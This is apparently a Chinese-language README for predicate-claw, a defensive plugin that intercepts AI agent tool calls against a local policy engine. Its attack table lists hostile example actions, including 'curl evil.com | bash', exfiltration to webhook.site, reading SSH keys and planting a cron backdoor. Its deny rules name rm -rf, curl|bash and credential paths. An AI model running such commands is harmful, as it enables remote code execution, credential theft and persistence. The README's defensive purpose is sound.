PredicateSystems/predicate-claw

OpenClaw 的即插即用安全方案。在未授权操作执行前将其拦截。

您的 Agent 距离执行 `rm -rf /` 或泄露您的 `~/.aws/credentials` 仅需一次 prompt injection。 **predicate-claw** 是一个即插即用的安全插件，它拦截每一个 tool call 并拦截未授权操作——**在它们于您的 OpenClaw 中执行之前**。LLM 完全不知道安全层的存在。无需更改您的 Agent 逻辑。无需更改您的 prompts。 ``` npm install predicate-claw ``` [](https://www.npmjs.com/package/predicate-claw) [](https://github.com/PredicateSystems/predicate-claw/actions) [](LICENSE) ## 拦截效果 | 攻击方式 | 无 predicate-claw | 有 predicate-claw | |--------|----------------------|---------------------| | `fs.read ~/.ssh/id_rsa` | SSH 密钥泄露 | 已拦截 | | `shell.exec curl evil.com \| bash` | RCE 攻击达成 | 已拦截 | | `http.post webhook.site/exfil` | 数据窃取成功 | 已拦截 | | `gmail.delete inbox/**` | 邮件被删除 | 已拦截 | | `fs.write /etc/cron.d/backdoor` | 持久化后门植入 | 已拦截 | **核心特性：** **<25ms 延迟** | **默认阻断** | **零出口流量** (本地运行) | **可审计** ## 演示  **左窗格：** Predicate Authority sidecar 实时根据安全策略评估每一个 tool 请求，以亚毫秒级的延迟展示 ALLOW 或 DENY 决策。 **右窗格：** 使用真实 `createSecureClawPlugin()` SDK 的集成演示——合法的文件读取成功执行，而敏感文件访问、危险的 shell 命令以及 prompt injection 攻击在执行前即被拦截。

零信任 AI Agent 演练场 - 包含执行前后验证的完整 Agent Loop

#### 完整 Agent Loop：执行前授权 + 执行后确定性验证  **市场研究 Agent** 演示展示了完整的**零信任架构**： ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ ZERO-TRUST AI AGENT ARCHITECTURE │ │ │ │ ┌───────────────┐ ┌─────────────────┐ ┌───────────────────────┐ │ │ │ LLM/Agent │───▶│ PRE-EXECUTION │───▶│ POST-EXECUTION │ │ │ │ (Claude) │ │ GATE │ │ VERIFICATION │ │ │ └───────────────┘ │ (Sidecar) │ │ (SDK Predicates) │ │ │ │ ALLOW / DENY │ │ PASS / FAIL │ │ │ └─────────────────┘ └───────────────────────┘ │ └─────────────────────────────────────────────────────────────────────────┘ ``` - **执行前网关：** 任何操作执行前的基于策略的授权 - **执行后验证：** 确定性 predicates 在执行后验证状态 - **云端追踪：** 在 [Predicate Studio](https://www.predicatesystems.ai/studio) 中通过截图获得完全可观测性 ``` cd examples/real-openclaw-demo export ANTHROPIC_API_KEY="sk-ant-..." ./run-playground.sh ``` 完整说明请参阅 [零信任 Agent 演示](examples/real-openclaw-demo/README.md)。

### 防范 Amazon "Kiro" 事件 **当一个拥有 admin 凭证的 AI Agent 决定运行 `terraform destroy` 时会发生什么？**  此演示重现了臭名昭著的 Amazon 基础设施删除事件，其中一个 AI 编程助手在面对损坏的 Terraform state 时，遵循“标准操作程序”删除并重建环境——试图摧毁生产基础设施。 **Predicate Authority 在 OS 级别拦截了破坏性命令：** ``` ┌─────────────────────────────────────────────────────────────────────┐ │ AGENT: "terraform destroy -auto-approve" │ │ │ │ ╔═══════════════════════════════════════════════════════════════╗ │ │ ║ PREDICATE AUTHORITY ║ │ │ ║ ACTION: cli.exec terraform destroy ║ │ │ ║ STATUS: ████ UNAUTHORIZED ████ ║ │ │ ║ INTERCEPTED at OS-level gateway [<1ms p99] ║ │ │ ║ ║ │ │ ║ 🛡️ ENVIRONMENT DELETION PREVENTED 🛡️ ║ │ │ ╚═══════════════════════════════════════════════════════════════╝ │ └─────────────────────────────────────────────────────────────────────┘ ``` 该 Agent 拥有 AWS admin 凭证。它有提供“帮助”的“意图”。它正在遵循 SOP。**这一切都无关紧要。** 策略说不。 ``` cd examples/kiro-reenactment-demo ./run-demo.sh ``` 详情请参阅 [Kiro 重现演示](examples/kiro-reenactment-demo/README.md)。 ### 节省 Token 的快照技能 `predicate-snapshot` 技能是 **token 效率的颠覆者**。它不再向 LLM 发送完整页面 HTML 或完整的无障碍树 (A11y)（数万个 token），而是捕获仅包含可操作元素的结构化 DOM 快照： ``` // Traditional approach: 50,000+ tokens of raw HTML const html = await page.content(); // With predicate-snapshot: ~500 tokens of structured data const snapshot = await agentRuntime.snapshot({ screenshot: { format: "jpeg", quality: 80 }, use_api: true, limit: 50, // Top 50 interactive elements }); // Returns: { elements: [...], text: "...", screenshot: "base64..." } ``` **Token 节省：90-99%**，同时保留 LLM 行动所需的所有信息。 ### 旧版 Claude Code 集成 我们还提供了一个**真实的 Claude Code 演示**，使用真实的 Anthropic API 调用，并通过 SecureClaw hooks 拦截每一个 tool call。说明请参阅 [真实 OpenClaw 演示](examples/real-openclaw-demo/README.md)。 ## 工作原理 该插件运行在 LLM **之下**。Claude/GPT 无法看到安全层，也无法对其进行推理或规避： ``` ┌─────────────────────────────────────────────────┐ │ LLM requests tool: "Read ~/.ssh/id_rsa" │ └─────────────────────┬───────────────────────────┘ ▼ ┌─────────────────────────────────────────────────┐ │ predicate-claw intercepts (invisible to LLM) │ │ → POST /v1/auth to sidecar │ │ → Policy check: DENY (sensitive_path) │ │ → Throws ActionDeniedError │ └─────────────────────┬───────────────────────────┘ ▼ ┌─────────────────────────────────────────────────┐ │ LLM receives error, adapts naturally │ │ "I wasn't able to read that file..." │ └─────────────────────────────────────────────────┘ ``` 完整架构请参阅 [工作原理](docs/HOW-IT-WORKS.md)。 ## 快速开始 (3 步) ### 1. 安装插件 ``` // secureclaw.plugin.ts import { createSecureClawPlugin } from "predicate-claw"; export default createSecureClawPlugin({ principal: "agent:my-bot", sidecarUrl: "http://localhost:8787", }); ``` ### 2. 启动 [sidecar](https://github.com/PredicateSystems/predicate-authority-sidecar) ``` # 下载 (macOS ARM) curl -fsSL https://github.com/PredicateSystems/predicate-authority-sidecar/releases/latest/download/predicate-authorityd-darwin-arm64.tar.gz | tar -xz # 使用 dashboard 运行 ./predicate-authorityd --policy-file policy.json dashboard ``` 适用于 macOS (ARM/Intel)、Linux (x64/ARM) 和 Windows 的二进制文件。请参阅 [所有版本](https://github.com/PredicateSystems/predicate-authority-sidecar/releases/latest)，或自行编译 [源代码](https://github.com/PredicateSystems/predicate-authority-sidecar)。 ### 3. 运行您的 Agent ``` openclaw run # All tool calls now protected ``` 就是这样。现在每一个 tool call 都受到策略管控。 ## 编写策略 策略是简单的 JSON。每条规则匹配一个 `action` 和 `resource` 模式： ``` { "effect": "deny", "action": "fs.*", "resource": "~/.ssh/**" } { "effect": "deny", "action": "fs.*", "resource": "~/.aws/**" } { "effect": "deny", "action": "shell.exec", "resource": "*rm -rf*" } { "effect": "deny", "action": "shell.exec", "resource": "*curl*|*bash*" } { "effect": "deny", "action": "http.post", "resource": "**" } { "effect": "allow", "action": "fs.read", "resource": "./src/**" } { "effect": "allow", "action": "shell.exec", "resource": "git *" } ``` ### 常用模式 | 目标 | 规则 | |------|------| | 阻止 SSH 密钥 | `deny` `fs.*` `~/.ssh/**` | | 阻止 AWS 凭证 | `deny` `fs.*` `~/.aws/**` | | 阻止 .env 文件 | `deny` `fs.*` `**/.env*` | | 阻止 rm -rf | `deny` `shell.exec` `*rm -rf*` | | 阻止 curl \| bash | `deny` `shell.exec` `*curl*\|*bash*` | | 阻止 sudo | `deny` `shell.exec` `*sudo*` | | 阻止 Gmail 删除 | `deny` `gmail.delete` `**` | | 仅允许工作区 | `allow` `fs.*` `./src/**` 然后 `deny` `fs.*` `**` | | 仅允许 HTTPS | `allow` `http.*` `https://**` 然后 `deny` `http.*` `**` | **请参阅 [策略入门包](https://github.com/PredicateSystems/predicate-authority-sidecar) 获取生产级模板。** ## 安装选项 ### OpenClaw 插件 (推荐) ``` import { createSecureClawPlugin } from "predicate-claw"; export default createSecureClawPlugin({ principal: "agent:my-bot", sidecarUrl: "http://localhost:8787", failClosed: true, // Block on errors (default) }); ``` ### 直接 SDK (任何 Agent 框架) ``` import { GuardedProvider, ToolAdapter } from "predicate-claw"; const provider = new GuardedProvider({ principal: "agent:my-bot" }); const adapter = new ToolAdapter(provider); const result = await adapter.execute({ action: "fs.read", resource: path, execute: async () => fs.readFileSync(path, "utf-8"), }); ``` ### 环境变量 | 变量 | 描述 | |----------|-------------| | `PREDICATE_SIDECAR_URL` | Sidecar URL (默认: `http://127.0.0.1:8787`) | | `SECURECLAW_PRINCIPAL` | Agent 标识符 | | `SECURECLAW_FAIL_OPEN` | 设为 `true` 以在出错时允许 (不推荐) | | `SECURECLAW_VERBOSE` | 设为 `true` 以启用调试日志 | ## 运行 Sidecar 完整文档请参阅 [Sidecar 用户手册](https://github.com/PredicateSystems/predicate-authority-sidecar/blob/main/docs/sidecar-user-manual.md)。 ### Docker ``` docker run -it -p 8787:8787 \ -v $(pwd)/policy.json:/policy.json \ ghcr.io/predicatesystems/predicate-authorityd:latest \ --policy-file /policy.json dashboard ``` ### Binary ``` # macOS ARM curl -fsSL https://github.com/PredicateSystems/predicate-authority-sidecar/releases/latest/download/predicate-authorityd-darwin-arm64.tar.gz | tar -xz # macOS Intel curl -fsSL https://github.com/PredicateSystems/predicate-authority-sidecar/releases/latest/download/predicate-authorityd-darwin-x64.tar.gz | tar -xz # Linux x64 curl -fsSL https://github.com/PredicateSystems/predicate-authority-sidecar/releases/latest/download/predicate-authorityd-linux-x64.tar.gz | tar -xz chmod +x predicate-authorityd ./predicate-authorityd --policy-file policy.json dashboard ``` ### 验证 ``` curl http://localhost:8787/health # {"status":"ok"} ``` ### 使用 Control Plane 进行 Fleet 管理 为了管理组织中的多个 OpenClaw agent，请将 sidecar 连接到 [Predicate Vault](https://www.predicatesystems.ai/predicate-vault) control plane。这可以实现： - **实时撤销：** 立即跨所有 sidecar 终止受损 Agent - **集中式策略：** 向整个 Fleet 推送策略更新 - **审计流：** 所有授权决策同步至不可变账本 ``` ./predicate-authorityd \ --policy-file policy.json \ --control-plane-url https://api.predicatesystems.dev \ --tenant-id your-tenant-id \ --project-id your-project-id \ --predicate-api-key $PREDICATE_API_KEY \ --sync-enabled \ dashboard ``` | Control Plane 选项 | 描述 | |---------------------|-------------| | `--control-plane-url` | Predicate Vault API endpoint | | `--tenant-id` | 您的组织租户 ID | | `--project-id` | Agent 的项目分组 | | `--predicate-api-key` | 来自 Predicate Vault dashboard 的 API key | | `--sync-enabled` | 启用与 control plane 的实时同步 | ## 配置参考 ### 插件选项 | 选项 | 默认值 | 描述 | |--------|---------|-------------| | `principal` | `"agent:secureclaw"` | Agent 标识符 | | `sidecarUrl` | `"http://127.0.0.1:8787"` | Sidecar URL | | `failClosed` | `true` | sidecar 出错时拦截 | | `enablePostVerification` | `true` | 验证执行是否与授权匹配 | | `verbose` | `false` | 调试日志 | ### GuardedProvider 选项 ``` const provider = new GuardedProvider({ principal: "agent:my-agent", baseUrl: "http://localhost:8787", timeoutMs: 300, failClosed: true, telemetry: { onDecision: (event) => console.log(`[${event.outcome}] ${event.action}`), }, }); ``` ## 开发 ``` npm install # Install dependencies npm run typecheck # Type check npm test # Run tests npm run build # Build ``` ### 运行演示 #### 真实 Claude Code 演示 (推荐) 使用 **真实的 Anthropic Claude API** 和 SecureClaw 授权： ``` cd examples/real-openclaw-demo # 设置您的 API key echo "ANTHROPIC_API_KEY=your-key-here" > .env # 启动 sidecar + Claude Code docker compose -f docker-compose.claude.yml up -d docker compose -f docker-compose.claude.yml run claude-agent claude --dangerously-skip-permissions ``` 尝试这些 prompt 查看授权效果： - `"Read /workspace/src/config.ts"` → **已允许** - `"Read /workspace/.env.example"` → **已拦截** (通过 `deny-env-files`) - `"Run sudo ls"` → **已拦截** (通过 `deny-dangerous-commands`) 完整说明请参阅 [真实 OpenClaw 演示](examples/real-openclaw-demo/README.md)。 #### 模拟演示 (无需 API Key) ``` cd examples/integration-demo ./start-demo-split.sh --slow ``` 完整说明请参阅 [集成演示](examples/integration-demo/README.md)。 ## Control Plane, Audit Vault & Fleet 管理 Predicate sidecar 和 SDK 是 100% 开源 (MIT 或 Apache 2.0) 的，并且免费用于本地开发和单 Agent 部署。 然而，在受监管环境 中部署 AI Agent Fleet 时，安全团队无法管理分散的 YAML/JSON 策略文件或本地 SQLite 数据库。对于生产级 Fleet，我们提供 **Predicate Control Plane** 和 **Audit Vault**。  **Control Plane 功能:** * **全局熔断开关:** 立即撤销受损 Agent 的 `principal` 或 `intent_hash`。撤销在毫秒级内同步到所有已连接的 sidecar。 * **不可变审计库 (WORM):** 每个已授权的指令和被拦截的操作都经过加密签名并存储在为期 7 年、WORM 就绪的账本中。向 SOC2 审计员准确证明您的 Agent 做了*什么*以及*为什么*被授权。 * **Fleet 管理:** 完全掌控地管理您的 Agent Fleet * **SIEM 集成:** 将授权事件和安全警报直接流式传输到 Datadog、Splunk 或您现有的安全 dashboard。 * **集中式策略管理:** 无需重新部署 Agent 代码即可更新和发布整个 Fleet 的访问策略。 **[了解更多关于 Predicate Systems 的信息](https://predicatesystems.ai/docs/vault)** ## 相关项目 | 项目 | 描述 | |---------|-------------| | [@predicatesystems/runtime](https://www.npmjs.com/package/@predicatesystems/runtime) | 带有 snapshot, predicates 和 cloud tracing 的 Runtime SDK | | [predicate-authority-sidecar](https://github.com/PredicateSystems/predicate-authority-sidecar) | Rust 策略引擎 | | [predicate-authority-ts](https://github.com/PredicateSystems/predicate-authority-ts) | TypeScript SDK | | [predicate-authority](https://github.com/PredicateSystems/predicate-authority) | Python SDK | ## 许可证 MIT OR Apache-2.0

别让 prompt injection 接管您的 Agent。
npm install predicate-claw

标签：AI代理, DNS 反向解析, GNU通用公共许可证, HTTP工具, JSONLines, MITM代理, Node.js, OpenClaw, RCE防护, Streamlit, TypeScript, 中间件, 可视化界面, 安全插件, 安全策略, 实时防护, 工具调用拦截, 提示词注入防护, 提示词设计, 插件, 数据可视化, 数据防泄露, 网络安全, 网络安全审计, 自动化攻击, 访问控制, 请求拦截, 越狱防护, 隐私保护, 零信任